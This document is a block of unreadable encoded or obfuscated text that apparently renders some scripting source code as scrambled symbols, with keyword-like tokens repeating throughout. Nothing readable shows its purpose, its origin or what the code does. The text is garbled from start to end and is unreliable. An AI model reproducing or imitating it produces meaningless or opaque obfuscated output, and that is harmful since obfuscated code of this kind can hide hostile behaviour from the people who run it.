@lGEYP E]AP@TR^\BG  9WGC^]QZJ9U\AB
\G_QJVYF@RlZJFTRAKQE\ZZDDlT[Z ED PXJDX@ TTWB
\G_QJVYF@RlZJFTRAKQE\ZZB
\G_QJVYF@RlZH9WGC^]QZJ_TUZF E]AP@TR^\BG  PXJDX@ TTWhB
\G_QJVYF@RlZnm_R
@lGEYP  ZQ _W[
A JI[@9N9AVGFA]FCWRGVl\CGZ\]_YW]PJBlWJE]AP@TR^\BG ZQ _W[
A JI[@WGC^]QZJA^WDPVPJAEUR_@V9N9999UF]PGZ\]E^J

TJX]]XB[IT@_YW]PJBlWJK JAYIYK@
XU9H9ZU_R
@lGEYP  _R
@lGEYP AVGFA]K JAYIYK@
XU9TPPl XVXCZ^TVGl\CGZ\]_YW]PJBlWJ9ZUTPPl XVXCZ^OO_R
@lGEYP TPPl XVXCZ^H9AVGFA]K JAYIYK@
XU9N9Q@B[l]PXWUXBsE]AP@TR^\BG TPPl XVXCZ^GAFV999ZUQ@B[l]PXWUXBUR_@VOO_R
@lGEYP Q@B[l]PXWUXBHIJUFKIFK
K^EW [@UTIJUFKIF9AVGFA]K JAYIYK@
XU9N9ZQ _W[
A JI[@Q@B[l]PXWUXBhn999^TUTlYQ]\]QW9999U\AB
\G_QJVYF@RlZJFTRAKQE\ZZE]AP@TR^\BG Q@B[l]PXWUXBB
\G_QJVYF@RlZJFTRAKQE\ZZB
\G_QJVYF@RlZH999^TUTlYQ]\]QW_R
@lGEYP _TUZF  Q@B[l]PXWUXBhB
\G_QJVYF@RlZnm_R
@lGEYP  ZQ _W[
A JI[@9N9IY
 AFXIIE[]G
]I@\QWTGlD@^TUTlYQ]\]QW9AVGFA]IY
 AFXIIUR_@VIY
 AFXII	K JAYIYK@
XU9N9UF]PGZ\]E[]G
]I@\QWTGlD@@YB^_Ul[UUV_F^9H9ZUDDlT[Z ED @YB^_Ul[UUV_F^AVGFA]UR_@V9ZUWVUZ]VW_TUZF c{cleva`z|}lzw

 
H9AVGFA]sDDlT[Z ED 
@YB^_Ul[UUV_F^RAARJ_R
@lGEYP 
UR_@V999N9AVGFA]sE]AP@TR^\BG 
@YB^_Ul[UUV_F^9N9UF]PGZ\]lCPGWVEU^ 9H9@GRGZP\@Z@EPKFUF@^]F__9ZU\@Z@EPKFUF@^]F__AVGFA]\@Z@EPKFUF@^999^XUQlGD[XBGWVUZ]VW_TUZFrq`crg{	999\@Z@EPKFUF@^_TUZFE]AP@TR^\BG 
oo^XUQlGD[XBG9AVGFA]\@Z@EPKFUF@^999N99UF]PGZ\]U\CFGG
lTZIDCXIWD_YW]PJBlWJ9H9999AVGFA]BQ
D\KCTWT^C^KB\lCPGWVEU^ @GAZ]TZIZ
Z\RY[KG_YW]PJBlWJ B@X\  B I@B@X\9N9UF]PGZ\]PPA
l_ZWF[\XA@W@ZUXDWGKRlGIZQ@9H9AVGFA]@GAZ]TKRP
 PK P P Z]G[VKWVPE]AP@TR^\BG 
E]AP@TR^\BG 
 lCPGWVEU^ _R
@lGEYP 
DWGKRlGIZQ@



9N9UF]PGZ\]@\AIA@VlAZlZ9H9AVGFA]PPA
l_ZWF[\XA@W@ZUX_R
@lGEYP 
9N9UF]PGZ\]\V]T  WF
 F_FV9H9UF
_^[^R]\BPCGQ@GAZ]TRZWW
ZYXT_\DQ_R
@lGEYP 
99AVGFA]DDlT[Z ED 
UF
_^[^R]\BPCGQK K_TUZFUF
_^[^R]\BPCGQ@\AIA@VlAZlZUR_@VDDlT[Z ED 
@GAZ]TRZWW
ZYXT_\DQ_R
@lGEYP 

 999N99UF]PGZ\]RZWW
ZYXT_\DQ_YW]PJBlWJK JAYIYK@
XU9H9AVGFA]E^J

TJX]]XB[IT@U\CFGG
lTZIDCXIWD_YW]PJBlWJK JAYIYK@
XU999N9UF]PGZ\]U\C]lQRF IPGX^BG_YW]PJBlWJK JAYIYK@
XU9999H9TKVVl[[TADZJWRZWW
ZYXT_\DQ_YW]PJBlWJK JAYIYK@
XU9ZU_TUZF TKVVl[[TADZJWAVGFA]TKVVl[[TADZJW99ZUE]AP@TR^\BGTKVVl[[TADZJWAVGFA]@GAZ]TTKVVl[[TADZJW9AVGFA]K JAYIYK@
XU9N9UF]PGZ\]X[RZVlID
UT\BTZXYDV_YW]PJBlWJZKPGDG\FlA^WDPVPJAE9H9CZCV_Z]VUAVVVUUVPGGJCV99^E[QX[AQCIU[FIFU\CFGG
lTZIDCXIWD_YW]PJBlWJZKPGDG\FlA^WDPVPJAE9N9UF]PGZ\]B

l_ElFXA A^DY9H9GK\[
VDGE_ZZ@@VGt|qr`hDDlT[Z ED nt|qr`hE]AP@TR^\BGn	RAARJ9TPPl XVXCZ^RZWW
ZYXT_\DQ_TUZFRAARJ[R_lK\^PIVF
X[R_lK\^P[R_lK\^P	[R_lK\^P99ZU_R
@lGEYP  TPPl XVXCZ^H9GK\[
VDGE_ZDDlT[Z ED TPPl XVXCZ^GK\[
VDGE_Z9N9GK\[
VDGE_Z_TUZFGK\[
VDGE_Z9AVGFA]E]AP@TR^\BG GK\[
VDGE_ZK KU9N999UF]PGZ\]UCAB[@]^XCJYFR
9H9999ZUZ@@VGt|qr`hDDlT[Z EDnOOV^CGJt|qr`h_TUZFnAVGFA]9GAJH9TPPl XVXCZ^RZWW
ZYXT_\DQ_R
@lGEYPRAARJ9BJIVF@ KVlG_TUZFDDlT[Z ED RAARJTPPl XVXCZ^t|qr`h_TUZFn9BJIVF@ KVlGE]AP@TR^\BG BJIVF@ KVlG9999X[RZVlID
UT\BTZXYDV_R
@lGEYPBJIVF@ KVlG_TUZF9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N99UF]PGZ\]YDYRYP[V\T@YB^_Ul[UUV_F^XVJ99H9F][\\XQGAVVU\AdcF@Vz]]VAq_\PX@cA\C@99ZU_TUZF @YB^_Ul[UUV_F^OOE]AP@TR^\BG XVJOO_TUZFXVJH9AVGFA]]F__99N9WYRWG T  _TUZF@YB^_Ul[UUV_F^9W F^EU]\Z J_R
@lGEYP
XVJ9K
^^RPP^^EXE]G
 DDFZV@ECGK
PB]G
 DDFZV@9U\AB
\G_QJVYF@RlZB
\G_QJVYF@RlZWYRWG T  B
\G_QJVYF@RlZH9K
^^RPP^^EXEE]AP@TR^\BG_TUZF  @YB^_Ul[UUV_F^hB
\G_QJVYF@RlZnmDDlT[Z ED  XVJhB
\G_QJVYF@RlZW F^EU]\Z Jn9N9AVGFA]K
^^RPP^^EXE9N99UF]PGZ\]KCK\WABQAAR\XKl\IR[TTZ9H9ZUE]AP@TR^\BG  Kl\IR[TTZH99Kl\IR[TTZRAARJXCX@Q\K^Q ZT^]GWKVD
XCX@Q\K^Q
9N9PTCYlQ@RDPGF_KlUV_XlVJ@APYFl_9]UWUX]BTIC_\DDlT[Z ED  DDlT[Z ED E^J

TJX]]XB[IT@E]AP@TR^\BGUR_@V	UR_@V9ZU_R
@lGEYP  ]UWUX]BTIC_\Z@@VG]UWUX]BTIC_\hDDlT[Z EDnZ]G]UWUX]BTIC_\hE]AP@TR^\BGnZ]G]UWUX]BTIC_\hE]AP@TR^\BG n   PTCYlQ@RDPGF_Z]G]UWUX]BTIC_\h_TUZF n99ZUPTCYlQ@RDPGF_ 
H9PTCYlQ@RDPGF_   9N9Kl\IR[TTZh_TUZFnRAARJ9E]AP@TR^\BGPTCYlQ@RDPGF_9_R
@lGEYP_TUZF99Kl\IR[TTZh_TUZFnRAARJ9DDlT[Z ED9_R
@lGEYP
DDlT[Z ED99AVGFA]Kl\IR[TTZ9N99UF]PGZ\]R\T\[A_B^E_REIQPPB99H9999ZUE]AP@TR^\BG_R
@lGEYPOO_TUZFE]AP@TR^\BG AVGFA]9999ZUAUBEA@R_
YU_TUZFAVGFA]99GAJH9ZUDCl]VKGl@P[VWF_VWJE_G]BUYZ@J\GJXWHWE lE]W[Z[B@Y^WRKWE lE]W[Z[WE lE]W[Z[	WE lE]W[Z[9DCl@P[VWF_VlVEV]GDDlT[Z ED _TUZF DDlT[Z EDJE_G]BUYZ@J\GJXW999N9dcv^QVWq_\PX	CAZ^VZ]ERAZR]G999NUZ]R__JH9U [AKZ GZDPVDTR]]F
E]AP@TR^\BG9N9N99UF]PGZ\]PKDDRYFTPVTJ9H99ZUWVUZ]VWE]AP@TR^\BGw|z}tlpa|}HE^VEZCQc{clz}gl~rkc{clz}gl~rk_^Y
Y_\VTK[lE^VEZCQ99AVGFA]9N99@GRGZPIJ]ZPCRW RUR_@V9ZUIJ]ZPCRW RAVGFA]9IJ]ZPCRW RGAFV99ZUQXEP]FBlZC]@WEH9AVGFA]999N99999C@A@EXDYWDWTG_R
@lGEYPE]AP@TR^\BG99N9UF]PGZ\]RZETBB[XBCFK_9H9ZU_TUZFE]AP@TR^\BG 
OO_TUZF_TUZF
AVGFA]99s_R
@lGEYP @ZGVlFA__TUZF _R
@lGEYP 
@GAZ]T_R
@lGEYP GAFVE]AP@TR^\BGKQKPRAARJDDlT[Z ED _R
@lGEYP UR_@V_R
@lGEYP UR_@V999N9UF]PGZ\]JKEVPVI
 WXTXZITG^9H9999@GRGZPAVQl D[YUR_@V9ZUAVQl D[YAVGFA]9AVQl D[YGAFV9GAJH9@lCGE_FZA@\RCUR_@V9ZUE]AP@TR^\BG_TUZF  H9DDlT[Z ED  9@lCGE_FZA@\RCGAFV9NV_@VZU_R
@lGEYPE]AP@TR^\BG H9sCFQ_Z@[AVE\PRGZ\]_Z@G99_TUZF 9@lCGE_FZA@\RCGAFV9NV_@VH9ZU_R
@lGEYP_R
@lGEYP H9s_R
@lGEYP GAFV99N999JlZ TGE]AP@TR^\BG_TUZF
sDDlT[Z ED
DDlT[Z ED 9999ZU[VRWVA@l@V]GJlZ TGE]AP@TR^\BG _TUZF DDlT[Z ED 
H9Z]WFPGZ\]ERAZRQ_V99lP_s\QlTVGl_V]TG[9ZUlP_UR_@VlP_H9s[VRWVA_R
@lGEYPlP_9s[VRWVA_TUZF9N9N9ZU_TUZF H9dcc\@GrFG[\A	RQ\AGWVBFV99s_TUZF9N9s_TUZF 9N9X]C^E_]VVAADDlT[Z ED E]AP@TR^\BGWVUZ]VW_R
@lGEYPwz`rqvldclpa|}9\AI^CR_RT@QD_TUZFDDlT[Z ED OOZ]GTVGl\CGZ\]E]AP@TR^\BG9999ZU\AI^CR_RT@QDE]AP@TR^\BGE]AP@TR^\BG DDlT[Z EDDDlT[Z ED H9I@@^WXTQI^ ^
@GAZ]TTVGl\CGZ\]E]AP@TR^\BG
9ZUI@@^WXTQI^ ^
B
C\ZlAP^PVX_\G_^ZH9sFCWRGVl\CGZ\]_TUZF
B
C\ZlAP^PVX_\G_^Z_R
@lGEYP9sFCWRGVl\CGZ\]DDlT[Z ED_TUZF9\AI^CR_RT@QDGAFV99N9@]RC@[\GP\AVPFA@ZEV^ZWW_VDRAV99N9C\@ZGZEVWVUZ]ZGVP\]GA\_U_\DTARC[99[TAG[lT] GD^UR_@V9ZUX]C^E_]VVAAE]AP@TR^\BGDDlT[Z EDH9JAKX UC^DCl]VKGl@P[VWF_VWJE_G]BUYZ@J\GJXW9ZUJAKX UC^E]AP@TR^\BG Z]GJAKX UC^KKQPPH99[TAG[lT] GD^GAFV9ZU_TUZFDDlT[Z EDsDClF]@P[VWF_VlVEV]GZ]GJAKX UC^JE_G]BUYZ@J\GJXW9N9N9dcp\_F^]@q_\PXRGGRP[^V]G^VGRWRGR99ZUX]C^E_]VVAA\AI^CR_RT@QD[TAG[lT] GD^H9UBX[A_FQ WVEZlE]AP@TR^\BGE]AP@TR^\BGZ]GDCl]VKGl@P[VWF_VWJE_G]BUYZ@J\GJXW	9ZUUBX[A_FQ WVEZlOOUBX[A_FQ WVEZl_R
@lGEYP 
H9sDCl@P[VWF_Vl@Z]T_VlVEV]G_R
@lGEYP JE_G]BUYZ@J\GJXW9N9dc\TZ]\FGq_\PX	Z]PAV^V]GR_GJCVV]EZA\]^V]G99JWlIQ
DD_JQX[IB9AVGFA]9N9ZU[TAG[lT] GD^XJRP]KB[TDDlT[Z EDDDlT[Z ED 9dcbF\GVq_\PX	WZ@CRGP[GAF@GR]P[\A999ZU@lCGE_FZA@\RCH9ZUX]C^E_]VVAAsDCl@P[VWF_Vl@Z]T_VlVEV]GDDlT[Z EDJE_G]BUYZ@J\GJXW9RZETBB[XBCFK_9JWlIQ
DD_JQX[IB9AVGFA]99N9ZUE]AP@TR^\BG_TUZFsE]AP@TR^\BG 9FUZFJR U^DY@Y9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N99UF]PGZ\]DUP[GEWKQQGKT C]A[G9H_VYFIlO KR_AJXDA_VYFIlm9GAJH9ZUE]AP@TR^\BG_TUZF H9dc{VRWZ]Tq_\PX	WVR__\PRGV]\A^R_U\A^9999AVGFA]9N99\ \X]XKPA_R
@lGEYP_R
@lGEYP
TVGlGAR]@ZV]GQAJXX
_CJ	UR_@V9ZUE]AP@TR^\BG  \ \X]XKPA\ \X]XKPAE^J

TJX]]XB[IT@E]AP@TR^\BGUR_@V9ZUDDlT[Z ED\ \X]XKPAH9999AVGFA]9N99999ZUZ@@VG\ \X]XKPAh_TUZFn_TUZF\ \X]XKPAh_TUZFnH9t|qr`h_R
@lGEYP nl]ZZ@AZB[PXIITQXC\ \X]XKPAhDDlT[Z EDn9N999ZUZ@@VG\ \X]XKPAh_R
@lGEYPnDDlT[Z ED\ \X]XKPAhE]AP@TR^\BGnH999t|qr`h_TUZFnl]ZZ@AZB[PXIITQXC\ \X]XKPAhE]AP@TR^\BGn9N99ZUZ@@VG\ \X]XKPAh_R
@lGEYPn_R
@lGEYP \ \X]XKPAh_R
@lGEYPnH9t|qr`h_R
@lGEYPn\ \X]XKPAh_R
@lGEYPn9N9ZUZ@@VG\ \X]XKPAhE]AP@TR^\BG
nDDlT[Z ED \ \X]XKPAhDDlT[Z EDn_TUZF
\ \X]XKPAh_TUZFn H999t|qr`hDDlT[Z EDn\ \X]XKPAhDDlT[Z ED n9N9999ZUZ@@VG\ \X]XKPAhDDlT[Z ED 
n_R
@lGEYP \ \X]XKPAhE]AP@TR^\BG 
nDDlT[Z ED
\ \X]XKPAh_TUZF 
n
HZB_ZKKBP[ 
Y^_]RJXF] ZB_ZKKBP[ 
9t|qr`h_TUZFn\ \X]XKPAh_R
@lGEYP 
n9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZFTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH99N9N99UF]PGZ\]E\Q^_D^GCQ@PUT99H9GAJH9s_Z]GZ]GVACAVGVA99ZU_R
@lGEYP_R
@lGEYP OOE]AP@TR^\BG_TUZF AVGFA]9999ZUZ]GTVGl\CGZ\]E]AP@TR^\BGE]AP@TR^\BGK
QKQAVGFA]9ZU_R
@lGEYP_R
@lGEYPTVGlGAR]@ZV]GE]AP@TR^\BG
AVGFA]99_\@BU\AERRCRZWW
ZYXT_\DQE]AP@TR^\BGYI@EWW
^DIWDO KRZVZQYFDV[QlFYI@EWW
^DIWDm9ZU_TUZF _\@BU\AERRCOODDlT[Z ED
_\@BU\AERRCKKOOP\F\X^VJ CE_\@BU\AERRCOOZRG
\KYQ\R AXG_\@BU\AERRCH9_\@BU\AERRCUR_@V9[IW^JVT[sDDlT[Z EDYDA[\
D@PQVUAV9ZU[IW^JVT[[IW^JVT[ [IW^JVT[KRQRKQRH9999BV
PT
 ]@sE]AP@TR^\BGYDA[\
D@PQVUAV9999ZUDDlT[Z EDBV
PT
 ]@E]AP@TR^\BG
BV
PT
 ]@BV
PT
 ]@QYDlT@]@EWXY@ZT[YT\FYBV
PT
 ]@99ZUE]AP@TR^\BGBV
PT
 ]@P\F\X^VJ CEBV
PT
 ]@ZRG
\KYQ\R AXGBV
PT
 ]@H9X[RZVlID
UT\BTZXYDVE]AP@TR^\BGBV
PT
 ]@_R
@lGEYP9_\@BU\AERRCBV
PT
 ]@9N9999N9ZU_\@BU\AERRCH9sFCWRGVl\CGZ\]E]AP@TR^\BG_R
@lGEYP E]AP@TR^\BG9AVGFA]9N9dcc\@GvKPVACG@[\AGP\WVCRA@V99N9999^KlTJXR@X@
RAARJYDA[\
D@PQVUAV9\FGRD IXAB_VAIWl[U_Q@W
EZPCT
@9FGYWGl QBQB@C[Q\AJRU@DPJ\FGRD IXAB_9ZUE]AP@TR^\BGFGYWGl QBQH9U\AVRP[FGYWGl QBQR@T_^C[H9ZU_R
@lGEYP 
T_^C[KKDDlT[Z ED^KlTJXR@X@
hn\FGRD IXAB_T_^C[9N9N9ZUWVUZ]VWDDlT[Z EDE]AP@TR^\BGE]AP@TR^\BG H9U\AVRP[RAARJs_R
@lGEYP dclcftz}lwzaDDlT[Z EDR@B_EElP_^KlTJXR@X@
hnB_EElP_9N9^KlTJXR@X@
_TUZF^KlTJXR@X@
999Y]FKI
PTKZlRAARJ9W[RVCClG[\^K]
_R
@lGEYP 
DDlT[Z ED_R
@lGEYP_R
@lGEYP 
_\@BU\AERRC

9U\AVRP[^KlTJXR@X@
R@^XUQlGD[XBGH99CEX
FJWs_R
@lGEYP^XUQlGD[XBG9ZUCEX
FJWOOCEX
FJW P\]GZ]FV9BZQX_QWBYY\WGWs_R
@lGEYP
^XUQlGD[XBGUR_@V]F__

99ZUDDlT[Z EDBZQX_QWBYY\WGWOOP\F\X^VJ CEBZQX_QWBYY\WGWP\]GZ]FV9ZU^XUQlGD[XBGYDA[\
D@PQVUAV_TUZF 
DDlT[Z ED
_R
@lGEYPBZQX_QWBYY\WGW
W[RVCClG[\^K]
P\]GZ]FV9Y]FKI
PTKZlhn^XUQlGD[XBG999N9ZUY]FKI
PTKZlH9ZUE]AP@TR^\BG
_R
@lGEYP
@VGlGAR]@ZV]G_R
@lGEYP


9AVGFA]9N999sFCWRGVl\CGZ\]E]AP@TR^\BG
 E]AP@TR^\BG E]AP@TR^\BG
9U\AVRP[Y]FKI
PTKZlR@K_@IF@\]EA
WH9QD^BPU^^^C \VK_@IF@\]EA
W9ZU_Bl[
X^GYCY^P K_@IF@\]EA
WZ
GB\BC_AR_\@BU\AERRCH9B[B_Y[KCBlWRK_@IF@\]EA
W9E[VEEQGFXUA\[^PK_@IF@\]EA
W9QD^BPU^^^C \VK_@IF@\]EA
W
9PZZUJW[@
ClCFK_@IF@\]EA
W9ZUK_@IF@\]EA
WYDA[\
D@PQVUAVH9IU]_R^BXF_[ \U RGAFVCIW\KXUPGlJOPY\ BFCGG]BCIW\KXUPGlJm
9\JVVD lKFAYl
GAFV999N9NV_@VH9QD^BPU^^^C \VK_@IF@\]EA
WKKPU9N9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z ED
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9999N9UF]PGZ\]_I@IDV
@l][[X[l9H9@GRGZPIJ]ZPCRW RUR_@V9ZUIJ]ZPCRW RAVGFA]9IJ]ZPCRW RGAFV9GAJH9EW__@R\ClV9999E\Q^_D^GCQ@PUT9C@K^@EQ@CAJTDJ]WV\\9999DUP[GEWKQQGKT C]A[G9R\T\[A_B^E_REIQPPB9XGKGIP_DQBA_9^KlIW@WXl\TW9QA^TF_UlIBA l_P 9KE\UAlUCRUXDV 99ZUQXEP]FBlZC]@WEHUWTV@TKRF[
VRTKFP[UV@UWTV@TKRF[ 9ZUDDlT[Z ED
_R
@lGEYP
WZWlRPGZ\]_TUZFH9ZUDDlT[Z ED
_TUZFDDlT[Z ED_R
@lGEYP9NV_@VH9C@A@EXDYWDWTG_TUZFDDlT[Z ED
9N9sP\^CRPG[VRCWVRW_VGGVA99N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9s@C_ZGWVCV]WV]GGJCV99NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9dc{ZT[VA|AWVAp\^C\]V]G@	@Z^C_VP\\AWZ]RG\A99N9N9UF]PGZ\]JWlIQ
DD_JQX[IB9H9GAJH9ZUE]AP@TR^\BG
DDlT[Z ED OODDlT[Z ED
E]AP@TR^\BG

AVGFA]9999ZUDDlT[Z ED
_TUZF OO_TUZF
_TUZF AVGFA]9R[FAWTTJX^YE]AP@TR^\BG 9ZUR[FAWTTJX^YZ]GsTVGl\CGZ\]_R
@lGEYP AVGFA]9sFCWRGVl\CGZ\]E]AP@TR^\BGR[FAWTTJX^Y_TUZF
9sE]AP@TR^\BG [\^VlFA_RAARJE]AP@TR^\BG E]AP@TR^\BG UR_@V_TUZF UR_@V9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH999N99N9UF]PGZ\]QXEP]FBlZC]@WE9H9ZU_R
@lGEYP
_TUZF H9999AVGFA]GAFV999N9999ZU_R
@lGEYP
_TUZFTVGlGAR]@ZV]GQAJXX
_CJH9AVGFA]UR_@V999N999C_]GWI^BKlUV_XlVJ@APYFl_9]UWUX]BTIC_\E^J

TJX]]XB[IT@E]AP@TR^\BGUR_@V999ZU_TUZF]UWUX]BTIC_\Z@@VG]UWUX]BTIC_\h_R
@lGEYP nZ]G]UWUX]BTIC_\h_TUZFn
 
 Z]G]UWUX]BTIC_\h_TUZFn  C_]GWI^BZ]G]UWUX]BTIC_\h_TUZFn9IWZV@K@_Z]GTVGl\CGZ\]_TUZF9ZUIWZV@K@__TUZF IWZV@K@_C_]GWI^BH9AVGFA]UR_@V9N99VQGCE
CJZ]GTVGl\CGZ\]E]AP@TR^\BG9ZUVQGCE
CJH9dcc\@GrFG[\A	WV[JWARGVAVWFPGZ\]99ADBQYGRJGZ]GTVGl\CGZ\]DDlT[Z ED9DTPRGKXl K_RAARJK KV
 
  9EX\PC[ITU[JDTPRGKXl K_h_TUZF_R
@lGEYPADBQYGRJGm n9EX\PC[ITU[JDDlT[Z EDZ]GEX\PC[ITU[J9ZUE]AP@TR^\BG VQGCE
CJEX\PC[ITU[JH9AVGFA]UR_@V9N9N9999AVGFA]GAFV9N99999UF]PGZ\]JI\ C_WGKGU WDT[99H9ADBQYGRJGZ]GTVGl\CGZ\]_TUZF99FCWRGVl\CGZ\]_TUZFADBQYGRJG9FCWRGVl\CGZ\]_TUZF_R
@lGEYP 9999N9UF]PGZ\]_IWFlXV
^
 QG9H9KYXQV
YBXYGE\RAARJ9GAJH9KYXQV
YBXYGE\hE]AP@TR^\BG
nB
C\ZlAP^PVX_\G_^Z9KYXQV
YBXYGE\h_TUZFnc{cleva`z|}9KYXQV
YBXYGE\hE]AP@TR^\BGnE]AP@TR^\BG
9KYXQV
YBXYGE\hE]AP@TR^\BGn_TUZF DDlT[Z EDZ@l@@_	9KYXQV
YBXYGE\hE]AP@TR^\BGn_TUZF DDlT[Z EDZ@l^F_GZ@ZGV	9KYXQV
YBXYGE\hE]AP@TR^\BGnZ@@VGt|qr`hE]AP@TR^\BGn@GAZ]Tt|qr`hE]AP@TR^\BGn	9999KYXQV
YBXYGE\h_TUZF
nZ@@VGl`vaevahE]AP@TR^\BG
nE]AP@TR^\BG 
@GAZ]Tl`vaevah_TUZF
n	999]PP@D
T ^_YZ@]Z@@VGt|qr`hDDlT[Z EDn_R
@lGEYPt|qr`h_R
@lGEYPn_R
@lGEYP t|qr`h_R
@lGEYPn	9KYXQV
YBXYGE\h_TUZFn]PP@D
T ^_YZ@]	9sGZ^V\FG[VRC99KYXQV
YBXYGE\h_TUZFnDDlT[Z ED ]PP@D
T ^_YZ@]9KYXQV
YBXYGE\h_R
@lGEYPnV^CGJt|qr`h_TUZFn	9KYXQV
YBXYGE\h_R
@lGEYPnV^CGJt|qr`hDDlT[Z EDn	9KYXQV
YBXYGE\h_TUZFnDDlT[Z ED _TUZF
Z]GsTVGl\CGZ\]DDlT[Z ED 	9KYXQV
YBXYGE\h_TUZF 
nU\C]lQRF IPGX^BG_TUZF 	9KYXQV
YBXYGE\hE]AP@TR^\BG n_R
@lGEYP _R
@lGEYP
Z]GsTVGl\CGZ\]_TUZF  	9KYXQV
YBXYGE\hDDlT[Z ED n_TUZF E]AP@TR^\BG
Z]GsTVGl\CGZ\]_TUZF 	VU_@[GIQK_TQT\B^PVU_@[GIQK_ 9KYXQV
YBXYGE\hDDlT[Z ED n_R
@lGEYP _R
@lGEYP
Z]GsTVGl\CGZ\]_R
@lGEYP 	9Z]^ECVK\YDQIR\^]V JWXZ_9KYXQV
YBXYGE\h_TUZF 
nsE]AP@TR^\BGZ]^ECVK\YDQI_R
@lGEYPEV^X]IPDB]B][YFPAs_R
@lGEYPZ]^ECVK\YDQI_TUZFUR_@V]F__		9KYXQV
YBXYGE\h_TUZF nsE]AP@TR^\BGZ]^ECVK\YDQIDDlT[Z EDEV^X]IPDB]B][YFPAs_R
@lGEYPZ]^ECVK\YDQIDDlT[Z EDUR_@V]F__ 		99999KYXQV
YBXYGE\hE]AP@TR^\BGns_TUZFZ]^ECVK\YDQI_R
@lGEYPEV^X]IPDB]B][YFPAs_R
@lGEYPZ]^ECVK\YDQIE]AP@TR^\BGUR_@V]F__		9^VDCACUB\D_R
@lGEYPBQ
D\KCTWT^C^KB\rq`crg{TKK9KB[DIK_@JBZAPYE]AP@TR^\BG
BQ
D\KCTWT^C^KB\rq`crg{T

m9KYXQV
YBXYGE\h_R
@lGEYPn9U\AVRP[RAARJBBBVA
XCV@AY@^TZ]^ECVK\YDQIrq`crg{_TUZFR@]RQP@CTXIJZH9sCRAGZGZ\]DRGVA^RAX99ZUs_R
@lGEYP]RQP@CTXIJZ^VDCACUB\DDDlT[Z EDKYXQV
YBXYGE\h_R
@lGEYP n9ZUsDDlT[Z ED]RQP@CTXIJZKB[DIK_@JBZAPYZ]GsDDlT[Z ED
]RQP@CTXIJZKB[DIK_@JBZAPY_R
@lGEYP m H9KYXQV
YBXYGE\h_TUZF n99QAVRX9N9N9F]@VGKB[DIK_@JBZAPY]RQP@CTXIJZ9UK[TTT\QDDlT[Z ED E]AP@TR^\BG
sDDlT[Z ED
_R
@lGEYP	UR_@V9ZUE]AP@TR^\BGUK[TTT\QOOUK[TTT\QOOUK[TTT\QE]AP@TR^\BGUK[TTT\QDDlT[Z ED9KYXQV
YBXYGE\hDDlT[Z ED
nsDDlT[Z EDrq`crg{UK[TTT\Q_R
@lGEYP@GAZ]Ts_TUZFrq`crg{UK[TTT\QDDlT[Z EDUR_@V	9KYXQV
YBXYGE\h_TUZFns_TUZF rq`crg{DDlT[Z EDDDlT[Z ED@GAZ]Ts_TUZFrq`crg{_TUZF_TUZFUR_@V	9KYXQV
YBXYGE\h_R
@lGEYPnsE]AP@TR^\BG rq`crg{E]AP@TR^\BG_TUZF@GAZ]TsDDlT[Z EDrq`crg{_TUZF
UR_@V]F__  _R
@lGEYPUR_@V	9KYXQV
YBXYGE\hDDlT[Z EDnWVUZ]VWE]AP@TR^\BG	9KYXQV
YBXYGE\hDDlT[Z ED nWVUZ]VWDDlT[Z EDOOWVUZ]VWDDlT[Z EDOOWVUZ]VW_TUZFOO_TUZF _TUZFOOE]AP@TR^\BG_TUZF
OOZ@@VGt|qr`h_TUZFnOOE]AP@TR^\BG_R
@lGEYP	9KYXQV
YBXYGE\h_R
@lGEYP nZ]GTVGl\CGZ\]DDlT[Z ED9KYXQV
YBXYGE\hDDlT[Z EDnZ]GTVGl\CGZ\]_TUZF999KYXQV
YBXYGE\h_R
@lGEYPnZ]GTVGl\CGZ\]DDlT[Z ED999XPYWQl^ZGBFRZWW
ZYXT_\DQ_R
@lGEYPRAARJW\YQ CFJ[c{cl~ry|aleva`z|}KKFKYT
Yl[W\YQ CFJ[9]KCCYJFEW@
A9lXDIXFRP@9ZU_R
@lGEYPXPYWQl^ZGBFH99U\AVRP[XPYWQl^ZGBFR@T_^C[H9ZUJ
A[VUJZJlFYVT_^C[P\]GZ]FV9]KCCYJFEW@
A9RA[
[EK_R
@lGEYPT_^C[Z]GZ@@VGT_^C[hE]AP@TR^\BG
nT_^C[hDDlT[Z ED
n		9\UF[RF [WYUQWE_R
@lGEYP
T_^C[Z@@VGT_^C[hDDlT[Z ED
nZ]GT_^C[h_R
@lGEYP
n	9ZURA[
[EK\UF[RF [WYUQWEOO\UF[RF [WYUQWE_R
@lGEYP  lXDIXFRP@9N9N9KYXQV
YBXYGE\hE]AP@TR^\BG
 n]KCCYJFEW@
A999KYXQV
YBXYGE\h_TUZF
nlXDIXFRP@9GCPBCDB_TUZF
_R
@lGEYP
sTVGl\CGZ\]_TUZF
	9KYXQV
YBXYGE\hDDlT[Z ED
nDDlT[Z ED
GCPBCDBDDlT[Z ED

GCPBCDB 	9AKV QA@]Z
ZD_TUZF_TUZFsTVGl\CGZ\]DDlT[Z EDRAARJ	RAARJ9KYXQV
YBXYGE\h_TUZF n_R
@lGEYP
AKV QA@]Z
ZDV^CGJAKV QA@]Z
ZDhGnOOV^CGJAKV QA@]Z
ZDhE]AP@TR^\BGn	9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9KYXQV
YBXYGE\h_R
@lGEYPnDDlT[Z ED

TDKQ[VTBBQITVG~V@@RTV9999NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9KYXQV
YBXYGE\h_R
@lGEYPn_TUZF

TDKQ[VTBBQITVG~V@@RTV 9N9AVGFA]KYXQV
YBXYGE\9N99UF]PGZ\]JD AIXFCCEY]
UQC9H9ZUE]AP@TR^\BGDDlT[Z ED
